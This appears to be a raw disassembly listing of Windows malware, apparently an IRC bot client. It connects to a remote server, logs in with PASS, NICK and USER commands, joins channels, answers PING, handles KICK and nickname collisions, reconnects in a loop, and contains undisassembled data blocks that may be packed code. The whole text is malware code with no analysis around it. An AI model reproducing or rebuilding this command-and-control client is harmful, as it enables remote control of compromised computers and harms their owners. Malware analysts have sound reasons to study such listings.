		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C427
		add	esp, 10h


loc_40C561:				; CODE XREF: sub_40C4F9+54j
		push	esi
		call	sub_415CD0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40C53E


loc_40C572:				; CODE XREF: sub_40C4F9+43j
		push	edi
		call	sub_415E1D
		pop	ecx
		pop	edi
		pop	esi


loc_40C57B:				; CODE XREF: sub_40C4F9+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40C4F9	endp

; ---------------------------------------------------------------------------


loc_40C57E:				; DATA XREF: seg000:0040C677o
		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_43F514
		call	ds:dword_43A410	; closesocket
		call	sub_415142
		call	ds:dword_43A2D8	; WSACleanup
		call	ds:dword_43A2D8	; WSACleanup
		mov	ebx, ds:dword_421060
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_415550
		push	44h
		lea	eax, [ebp-54h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415550
		add	esp, 18h
		mov	[ebp-54h], esi
		mov	esi, 104h
		lea	eax, [ebp-25Ch]
		push	esi
		push	eax
		mov	dword ptr [ebp-48h], offset byte_438F9C
		mov	dword ptr [ebp-28h], 1
		mov	[ebp-24h], di
		call	near ptr 3D0000h
		mov	esp, 0FEA8858Dh
; ---------------------------------------------------------------------------
		dd 5056FFFFh, 39FAE857h, 8D1EFFFCh, 8D50F045h, 8D50AC45h
		dd 0FFFDA485h, 6A5750FFh, 57016A28h, 0FEA8858Dh, 5057FFFFh
		dd 39D6E857h, 855EFFFCh, 6A1474C0h, 0FFD3FF64h,	358BF075h
		dd 42106Ch, 75FFD6FFh, 8BD6FFF4h, 80C71045h, 0B0h, 43E780h
		dd 6424048Bh, 0A3h, 8C48300h, 1415FF57h, 5F004211h
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset loc_40C57E
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	ds:dword_42C158, ebx
		jz	short loc_40C69C
		call	sub_409F81


loc_40C69C:				; CODE XREF: seg000:0040C695j
		mov	esi, ds:dword_42104C
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_4687F8, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41551F
		pop	ecx
		call	sub_4089D6
		push	2
		call	ds:dword_43A424	; SetErrorMode
		push	7530h
		push	offset aIds443	; "ids443"
		push	ebx
		push	ebx
		call	near ptr 10A0004h
		cdq
		push	eax
		call	near ptr 12E0004h
		in	eax, 3Dh
		add	al, [ecx]
; ---------------------------------------------------------------------------
		dd 8750000h, 15FF016Ah,	421114h, 0F77C858Dh, 6850FFFFh
		dd 202h, 0A2F015FFh, 0C33B0043h, 0FF84589h, 44385h, 7CBD8000h
		dd 2FFFFF7h, 430850Fh, 0C0330000h, 0F77D858Ah, 23CFFFFh
		dd 420850Fh, 4BE0000h, 8D000001h, 0FFFC1085h, 0E85056FFh
		dd 0EF38C8h, 14858D7Fh,	56FFFFFDh, 0B9E85350h, 3800F138h
		dd 38B2E850h, 8D0400F3h, 0FFFB1085h, 858D50FFh,	0FFFFF90Ch
		dd 858D5350h, 0FFFFFD14h, 0B9E85053h, 8D0000ABh, 0FFFB1085h
		dd 858D50FFh, 0FFFFF90Ch, 6C806850h, 858D0042h,	0FFFFFA0Ch
		dd 0BBE85056h, 8D000092h, 0FFFC1085h, 858D50FFh, 0FFFFFD14h
		dd 92FEE850h, 0C4830000h, 0FC08530h, 1A685h, 681D3900h
		dd 0BE004689h, 42C1B8h,	33563174h, 950EE8FFh, 0E8830000h
		dd 23745904h, 8D5CE8h, 991A6A00h, 56F9F759h, 8861C280h
		dd 42C1B897h, 0EDE84700h, 83000094h, 3B5904E8h,	8DDD72F8h
		dd 0FFFC1085h, 8D5056FFh, 0FFFE1885h, 906868FFh, 0E8500042h
		dd 8CC9h, 8D10C483h, 0FFFE1885h, 15FF50FFh, 421094h, 74FFF883h
		dd 18858D12h, 68FFFFFEh, 80h, 37D6E850h, 8B73FFFCh, 42112435h
		dd 18858D00h, 53FFFFFEh, 14858D50h, 33FFFFFDh, 0D6FF50FFh
		dd 3375C085h, 108815FFh, 0FB3B0042h, 0F8832975h, 83057420h
		dd 1F7505F8h, 685F016Ah, 3A98h,	106015FFh, 858D0042h, 0FFFFFE18h
		dd 858D5053h, 0FFFFFD14h, 8DC7EB50h, 0FFFE1885h, 0ACE850FFh
		dd 59FFFFD4h, 0FE18858Dh, 76AFFFFh, 376EE850h, 6AC600F9h
		dd 0E4458D10h, 0ADE85053h, 6A00008Ch, 9C458D44h, 5053565Eh
		dd 8C9FE8h, 18C48300h, 0C79C7589h, 8F9CA845h, 89660043h
		dd 16ACC5Dh, 0C875895Eh, 0FB3737E8h, 56509C00h,	10000068h
		dd 372AE800h, 8D8000FDh, 0FFFD148Dh, 8D5051FFh,	0FFFE1885h
		dd 858D50FFh, 0FFFFF678h, 43313868h, 0D2E85000h, 8300008Bh
		dd 458D14C4h, 458D50E4h, 858D509Ch, 0FFFFFC10h,	286A5350h
		dd 858D5356h, 0FFFFF678h, 858D5053h, 0FFFFFE18h, 36DEE850h
		dd 851900FFh, 682874C0h, 0C8h, 106015FFh, 75FF0042h, 6C358BE4h
		dd 0FF004210h, 0E875FFD6h, 15FFD6FFh, 43A2D8h, 1415FF53h
		dd 83004211h, 4694903Dh, 437E0200h, 469494A1h, 470FF00h
		dd 90D6E8h, 0F08B5900h,	0E856FF6Ah, 0FFFC368Ch,	15FF563Ch
		dd 42106Ch, 469494A1h, 8583900h, 0D0681974h, 0FF000007h
		dd 42106015h, 9494A100h, 70FF0046h, 3662E808h, 39C9FFFCh
		dd 42C1601Dh, 39157400h, 43A4481Dh, 8D0D7500h, 0FFFA0C85h
		dd 0D7E850FFh, 59FFFFE9h, 0FF1C858Dh, 0C68FFFFh, 50004331h
		dd 8B00E8h, 858D5300h, 0FFFFFF1Ch, 9EE85053h, 8D000085h
		dd 0FFFF1C85h, 6AE850FFh, 68FFFFE7h, 0B80h, 0E7886853h
		dd 59E80043h, 0E800008Bh, 8B2Dh, 88687F6Ah, 680042C1h
		dd 468804h, 897C1D89h, 0DE80046h, 0A10000A3h, 42C144h
		dd 84BF3F6Ah, 68004688h, 42C194h, 8954A357h, 0F1E80046h
		dd 6A0000A2h, 88C4BE3Fh, 98680046h, 560042C1h, 0A2DFE8h
		dd 48C48300h, 89581D89h, 5D890046h, 601D39FCh, 750043A4h
		dd 0E0458D16h, 15FF5053h, 43A2BCh, 775C085h, 753068h, 682CEB00h
		dd 468800h, 89781D89h, 0DEE80046h, 83000000h, 458902F8h
		dd 0BE840FF8h, 39000000h, 4689781Dh, 0FF037400h, 0B868FC4Dh
		dd 0FF00000Bh, 42106015h, 0FC45FF00h, 6FC7D83h,	7D83A77Ch
		dd 840F02F8h, 95h, 74F45D39h, 687F6A40h, 42C188h, 46880468h
		dd 0A25AE800h, 44A10000h, 6A0042C1h, 0C194683Fh, 0A3570042h
		dd 468954h, 0A243E8h, 683F6A00h, 42C198h, 0A236E856h, 0C4830000h
		dd 0F45D8924h, 0FFFF55E9h, 0A01D38FFh, 0F0042C1h, 0FFFF4984h
		dd 687F6AFFh, 42C1A0h, 46880468h, 0A20EE800h, 48A10000h
		dd 6A0042C1h, 0C1AC683Fh, 0A3570042h, 468954h, 0A1F7E8h
		dd 683F6A00h, 42C1B0h, 0A1EAE856h, 0C4830000h, 0F445C724h
		dd 1, 0FFFF05E9h, 85F8E8FFh, 15FF0000h,	43A2D8h, 0C0335E5Fh
		dd 10C2C95Bh
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB59	proc near		; DATA XREF: seg000:0041080Eo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40CB7E:				; CODE XREF: sub_40CB59+E6j
					; sub_40CB59+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_43A378	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A03F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40CCAB
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_415550
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_46896C
		push	ds:dword_42C16C
		push	eax
		call	sub_414419
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43F520
		push	edi
		push	eax
		call	sub_416D20
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_43A3F8	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_43F514[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_43A320	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CC44
		push	esi
		call	ds:dword_43A410	; closesocket
		call	sub_40A068
		push	7D0h


loc_40CC39:				; CODE XREF: sub_40CB59+146j
		call	ds:dword_421060	; Sleep
		jmp	loc_40CB7E
; ---------------------------------------------------------------------------


loc_40CC44:				; CODE XREF: sub_40CB59+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_433144
		call	sub_40B1C5
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40CCC1
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_43A410	; closesocket
		test	edi, edi
		jz	loc_40CB7E
		cmp	edi, 1
		jnz	short loc_40CCA1
		push	0DBBA0h
		jmp	short loc_40CC39
; ---------------------------------------------------------------------------


loc_40CCA1:				; CODE XREF: sub_40CB59+13Fj
		cmp	edi, 2
		jz	short loc_40CCAF
		jmp	loc_40CB7E
; ---------------------------------------------------------------------------


loc_40CCAB:				; CODE XREF: sub_40CB59+5Aj
		xor	eax, eax
		jmp	short loc_40CCBB
; ---------------------------------------------------------------------------


loc_40CCAF:				; CODE XREF: sub_40CB59+14Bj
		push	[ebp+var_34]
		call	sub_415295
		pop	ecx
		push	2
		pop	eax


loc_40CCBB:				; CODE XREF: sub_40CB59+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40CB59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCC1	proc near		; CODE XREF: sub_40CB59+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_415D50
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40CCDF:				; CODE XREF: sub_40CCC1+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40CCDF
		cmp	ds:byte_468970,	bl
		jz	short loc_40CD06
		push	offset byte_468970
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_412CEC
		add	esp, 0Ch


loc_40CD06:				; CODE XREF: sub_40CCC1+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_414419
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_4154CD
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CD70
		push	[ebp+arg_0]
		call	ds:dword_43A410	; closesocket
		push	1388h
		call	ds:dword_421060	; Sleep


loc_40CD69:				; CODE XREF: sub_40CCC1+D9j
					; sub_40CCC1+153j
		xor	eax, eax


loc_40CD6B:				; CODE XREF: sub_40CCC1+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CD70:				; CODE XREF: sub_40CCC1+92j
					; sub_40CCC1+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A390	; recv
		test	eax, eax
		jle	short loc_40CD69
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_409A1F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40CD70
		lea	edi, [ebp+var_A10]


loc_40CDC1:				; CODE XREF: sub_40CCC1+165j
		push	1
		pop	esi


loc_40CDC4:				; CODE XREF: sub_40CCC1+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_40CE39
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40CE07
		push	7D0h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40CDC4
; ---------------------------------------------------------------------------


loc_40CE07:				; CODE XREF: sub_40CCC1+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40CE31
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40CE2D
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CD69
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40CDC1
		jmp	loc_40CD70
; ---------------------------------------------------------------------------


loc_40CE2D:				; CODE XREF: sub_40CCC1+14Ej
		push	1
		jmp	short loc_40CE33
; ---------------------------------------------------------------------------


loc_40CE31:				; CODE XREF: sub_40CCC1+149j
		push	2


loc_40CE33:				; CODE XREF: sub_40CCC1+16Ej
		pop	eax
		jmp	loc_40CD6B
sub_40CCC1	endp

; ---------------------------------------------------------------------------


loc_40CE39:				; CODE XREF: sub_40CCC1+12Ap
		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_415D50
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0ACh], 3
		mov	[ebp-10h], ebx
		mov	[ebp-98h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-0C8h], ebx
		call	sub_415550
		push	1Bh
		lea	eax, [ebp-564h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_416D20
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_40D1FD
		push	esi
		lea	eax, [ebp-0F9Ch]
		push	ebx
		push	eax
		call	sub_415550
		dec	esi
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-0F9Ch]
		push	offset asc_43656C ; " :"
		push	eax
		call	sub_415AA0
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_416D20
		mov	esi, offset asc_4269C8 ; " "
		lea	eax, [ebp-119Ch]
		push	esi
		push	eax
		call	sub_416C78
		add	esp, 34h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp-0A8h], 1Fh


loc_40CF0C:				; CODE XREF: seg000:0040CF20j
		push	esi
		push	ebx
		call	sub_416C78
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp-0A8h]
		pop	ecx
		jnz	short loc_40CF0C
		mov	esi, [ebp-94h]
		cmp	esi, ebx
		jz	loc_40D1FD
		cmp	[ebp-90h], ebx
		jz	loc_40D1FD
		push	100h
		lea	eax, [ebp-0A14h]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	ecx, [ebp-18h]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40CF5A:				; CODE XREF: seg000:0040CF8Cj
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40CF86
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40CF8E
		cmp	[eax+2], bl
		jnz	short loc_40CF8E
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	byte ptr [ebp+esi-0A14h], 1
		mov	esi, [ebp-94h]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40CF86:				; CODE XREF: seg000:0040CF5Ej
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40CF5A


loc_40CF8E:				; CODE XREF: seg000:0040CF63j
					; seg000:0040CF68j
		cmp	[ebp-9A1h], bl
		jz	short loc_40CF99
		mov	[ebp-8], edi


loc_40CF99:				; CODE XREF: seg000:0040CF94j
		cmp	[ebp-9A6h], bl
		jz	short loc_40CFA7
		mov	[ebp-8], ebx
		mov	[ebp-4], edi


loc_40CFA7:				; CODE XREF: seg000:0040CF9Fj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40CFE1
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_416D20
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-0C4h]
		push	offset dword_42F3A4
		push	eax
		call	sub_416C78
		add	esp, 20h


loc_40CFE1:				; CODE XREF: seg000:0040CFAAj
		push	esi
		push	offset aPing	; "PING"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D032
		push	dword ptr [ebp-90h]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40D0D6
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		add	esp, 10h
		jmp	loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D032:				; CODE XREF: seg000:0040CFF0j
		mov	esi, [ebp-90h]
		push	esi
		push	offset a001	; "001"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B00
		push	esi
		push	offset a005	; "005"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B00
		push	esi
		push	offset a302	; "302"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D09D
		push	offset a@_6	; "@"
		push	dword ptr [ebp-88h]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D0D6
		inc	eax
		push	9Fh
		push	eax
		push	dword ptr [ebp+24h]
		call	sub_416D20
		add	esp, 0Ch
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D09D:				; CODE XREF: seg000:0040D071j
		push	esi
		push	offset a433	; "433"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D0DD
		push	ebx
		push	ds:dword_46896C
		push	ds:dword_42C16C
		push	dword ptr [ebp+18h]
		call	sub_414419
		push	dword ptr [ebp+18h]
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		add	esp, 1Ch


loc_40D0D6:				; CODE XREF: seg000:0040D011j
					; seg000:0040D02Dj ...
		mov	eax, edi
		jmp	loc_40D200
; ---------------------------------------------------------------------------


loc_40D0DD:				; CODE XREF: seg000:0040D0ACj
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp-0A8h], 2
		mov	edi, 80h


loc_40D0EF:				; CODE XREF: seg000:0040D114j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D10C
		mov	dword ptr [ebp-98h], 1


loc_40D10C:				; CODE XREF: seg000:0040D100j
		add	esi, edi
		dec	dword ptr [ebp-0A8h]
		jnz	short loc_40D0EF
		mov	esi, [ebp-90h]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D205
		mov	esi, [ebp+20h]
		mov	dword ptr [ebp+2Ch], 2


loc_40D13B:				; CODE XREF: seg000:0040D1C8j
		cmp	[esi], bl
		jz	loc_40D1C3
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_416D20
		lea	eax, [ebp-0C4h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D1C3
		cmp	[ebp-88h], ebx
		jz	short loc_40D1C3
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D1C3
		lea	eax, [ebp-0C4h]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4364F8
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C8h]
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		add	esp, 20h


loc_40D1C3:				; CODE XREF: seg000:0040D13Dj
					; seg000:0040D15Dj ...
		add	esi, edi
		dec	dword ptr [ebp+2Ch]
		jnz	loc_40D13B
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+18h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D1FD
		push	dword ptr [ebp+14h]
		mov	eax, [ebp+28h]
		push	dword ptr [ebp+10h]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40D1F2:				; CODE XREF: seg000:0040D44Ej
					; seg000:0040D7A5j
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC


loc_40D1FA:				; CODE XREF: seg000:00412039j
					; seg000:00412056j ...
		add	esp, 10h


loc_40D1FD:				; CODE XREF: seg000:0040CE94j
					; seg000:0040CF2Aj ...
		push	1


loc_40D1FF:				; CODE XREF: seg000:00412580j
		pop	eax


loc_40D200:				; CODE XREF: seg000:0040D0D8j
					; seg000:0040EF9Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D205:				; CODE XREF: seg000:0040D12Bj
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D35B
		mov	eax, [ebp-8Ch]
		mov	esi, [ebp+20h]
		inc	eax
		mov	dword ptr [ebp+8], 2
		mov	[ebp+2Ch], eax


loc_40D22E:				; CODE XREF: seg000:0040D280j
		lea	eax, [ebp-0A94h]
		push	eax
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D27B
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_417060
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+24h], eax
		jz	short loc_40D27B
		push	dword ptr [ebp+2Ch]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_415BE0
		push	dword ptr [ebp+24h]
		push	edi
		call	sub_415BF0
		add	esp, 10h
		mov	edi, 80h


loc_40D27B:				; CODE XREF: seg000:0040D23Fj
					; seg000:0040D256j
		add	esi, edi
		dec	dword ptr [ebp+8]
		jnz	short loc_40D22E
		lea	eax, [ebp-0C4h]
		test	eax, eax
		jz	loc_40D1FD
		cmp	[ebp+2Ch], ebx
		jz	loc_40D1FD
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D2C3
		push	0Fh
		push	dword ptr [ebp+2Ch]
		push	dword ptr [ebp+18h]
		call	sub_416D20
		add	esp, 0Ch
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40D2C3:				; CODE XREF: seg000:0040D2ACj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40D2C8:				; CODE XREF: seg000:0040D2E9j
		cmp	[edi], bl
		jz	short loc_40D2DF
		lea	eax, [ebp-0A94h]
		push	eax
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D2F0


loc_40D2DF:				; CODE XREF: seg000:0040D2CAj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D2C8
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40D2F0:				; CODE XREF: seg000:0040D2DDj
		lea	eax, [ebp-0A94h]
		push	21h
		push	eax
		call	sub_417060
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jz	loc_40D1FD
		push	eax
		call	sub_415CD0
		push	dword ptr [ebp+2Ch]
		mov	edi, eax
		call	sub_415CD0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40D1FD
		push	dword ptr [ebp+8]
		shl	esi, 7
		push	dword ptr [ebp+2Ch]
		add	esi, [ebp+20h]
		push	offset aSS_0	; ":%s%s"
		push	esi
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-4ACh]
		push	ebx
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 24h
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40D35B:				; CODE XREF: seg000:0040D214j
		push	esi
		push	offset aPart	; "PART"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D37D
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3A4


loc_40D37D:				; CODE XREF: seg000:0040D36Aj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40D382:				; CODE XREF: seg000:0040D3A2j
		cmp	[edi], bl
		jz	short loc_40D398
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D3F2


loc_40D398:				; CODE XREF: seg000:0040D384j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D382


loc_40D3A4:				; CODE XREF: seg000:0040D37Bj
		push	dword ptr [ebp-90h]
		push	offset a353	; "353"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D453
		push	dword ptr [ebp-84h]
		push	dword ptr [ebp+10h]
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D3DB
		mov	eax, [ebp+28h]
		mov	dword ptr [eax], 1


loc_40D3DB:				; CODE XREF: seg000:0040D3D0j
		push	dword ptr [ebp-84h]
		push	offset dword_436498


loc_40D3E6:				; CODE XREF: seg000:004123B2j
					; seg000:0041272Bj ...
		call	sub_40B1C5
		pop	ecx


loc_40D3EC:				; CODE XREF: seg000:00412840j
		pop	ecx
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40D3F2:				; CODE XREF: seg000:0040D396j
